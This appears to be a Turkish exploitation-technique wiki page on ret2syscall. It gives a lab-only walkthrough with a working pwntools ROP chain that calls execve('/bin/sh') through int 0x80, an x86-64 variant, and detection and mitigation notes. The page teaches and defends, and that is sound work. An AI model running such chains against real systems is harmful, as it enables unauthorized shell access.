ret2syscall¶
execve("/bin/sh", NULL, NULL)argümanlarını register'lara yükleyen veint 0x80/syscallüzerinden doğrudan kernel'e trap eden, libc'ye hiç dokunmayan bir ROP chain inşa et.
Mechanism¶
Neden çalışır
Bir ret2libc chain'i libc'nin map'lenmiş ve symbol'lerinin
konumlandırılabilir olmasına bağlıdır. Ama kernel daha da temel bir
arayüz sunar: system-call ABI. Linux/x86'da user program, syscall
numarasını ve argümanları sabit bir register kümesine yükleyip bir trap
instruction çalıştırarak — 32-bit'te int 0x80, x86-64'te syscall —
bir hizmet ister. Kernel o register'ları kimin kurduğunu ya da
kontrolün trap'e nasıl ulaştığını umursamaz.
Invariant: syscall ABI bir register kontratıdır ve ROP herhangi bir
register kontratını sağlayabilir. Binary (statically linked ya da
sadece büyük) her argument register için pop-gadget'ları artı r-x
page'lerinde bir yerde bir trap instruction içeriyorsa, bir attacker
ödünç alınmış instruction parçalarından eksiksiz bir execve call'ı
forge edebilir. libc symbol'ü yok, leak edilmiş adres yok, enjekte
edilmiş kod yok — yalnızca kernel'in kendisinin tanımladığı sabit
register/numara convention'ı.
32-bit execve kontratı eax=11 (0xb), ebx=&"/bin/sh", ecx=0,
edx=0, sonra int 0x80'dir. x86-64'te rax=59, rdi=&"/bin/sh",
rsi=0, rdx=0, sonra syscall'dır.
Walkthrough¶
Yalnızca lab
Sahibi olduğun bir binary kullan. Bu teknik, dönülecek bir libc'nin olmadığı ama binary'nin kendisinin gadget dolu olduğu statically linked, NX-enabled, no-PIE binary'lere karşı parlar.
1. Triyaj. Bir static binary'nin PLT'si yoktur ama bolca gadget'ı vardır:
$ checksec --file=./rop
Arch: i386-32-little
RELRO: Partial RELRO
NX: NX enabled
PIE: No PIE
$ file ./rop
./rop: ELF 32-bit LSB executable, ... statically linked, not stripped
2. Dört yapı taşını ROPgadget ile bul. eax'i, edx/ecx/ebx üçlüsünü,
int 0x80 trap'ini ve bir /bin/sh string'ini ayarlamamız gerekiyor:
$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x080bb196 : pop eax ; ret
$ ROPgadget --binary rop --only 'pop|ret' | grep -E 'edx.*ecx.*ebx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
$ ROPgadget --binary rop --only 'int'
0x08049421 : int 0x80
$ ROPgadget --binary rop --string '/bin/sh'
0x080be408 : /bin/sh
3. Overflow offset'ini doğrula (örn. gdb'de bir cyclic pattern ile):
(gdb) run $(cyclic 200)
... SIGSEGV ...
(gdb) print $eip # = 0x6161616c
(gdb) print cyclic_find(0x6161616c)
offset = 112
4. Chain'i birleştir. Sıra önemlidir: eax'i yükle, sonra
edx/ecx/ebx üçlüsünü tek bir gadget'ta, sonra trap.
from pwn import *
elf = ELF('./rop')
p = process('./rop')
pop_eax = 0x080bb196 # pop eax ; ret
pop_edx_ecx_ebx = 0x0806eb90 # pop edx ; pop ecx ; pop ebx ; ret
int_0x80 = 0x08049421 # int 0x80
binsh = 0x080be408 # "/bin/sh"
payload = b'A' * 112
payload += flat(
pop_eax, 0xb, # eax = 11 (execve)
pop_edx_ecx_ebx, 0, 0, binsh, # edx=0, ecx=0, ebx=&"/bin/sh"
int_0x80, # trap into kernel
)
p.sendline(payload)
p.interactive() # => $ shell
x86-64 varyantı (rax=59, syscall)
pop_rax = 0x... # pop rax ; ret
pop_rdi = 0x... # pop rdi ; ret
pop_rsi = 0x... # pop rsi ; ret
pop_rdx = 0x... # pop rdx ; ret
syscall = 0x... # syscall ; ret (or "syscall")
binsh = 0x... # "/bin/sh"
payload = b'A' * offset
payload += flat(
pop_rdi, binsh, # arg1 = "/bin/sh"
pop_rsi, 0, # arg2 = NULL
pop_rdx, 0, # arg3 = NULL
pop_rax, 59, # execve
syscall,
)
ROPgadget --binary vuln | grep 'pop rax' ve
grep 'syscall' ile bul. Üçlü gadget'lar kıtsa, rdx/rsi'yi
__libc_csu_init üzerinden doldurmak için bkz. ret2csu.
Detection¶
- Attacker'ın kontrol ettiği data içindeki bir
pop reg; ... ; int 0x80sequence'ına inen birretimzadır; stack/return address function entry'lerine değil, fonksiyonların ortasına işaret eder. - syscall'ları whitelist'leyen
seccomp-bpffilter'ları, chain çalışsa bile faydalı syscall'ları etkisizleştirir (örn.execve'yi blokla). - CFI / shadow stack'ler (Intel CET), chain'i başlatan bozulmuş return address'leri tespit eder.
Mitigation¶
- Bir donanım shadow stack'i (Intel CET), başlangıçtaki return-address overwrite'ını herhangi bir gadget çalışmadan önce ölümcül kılar.
seccompsyscall filtreleme, chain'in nihai olarak çıkarmak istediği syscall'ı bloklar.- Kök neden, stack kontrolü veren memory-safety bug'ıdır; bkz. stack-buffer-overflow.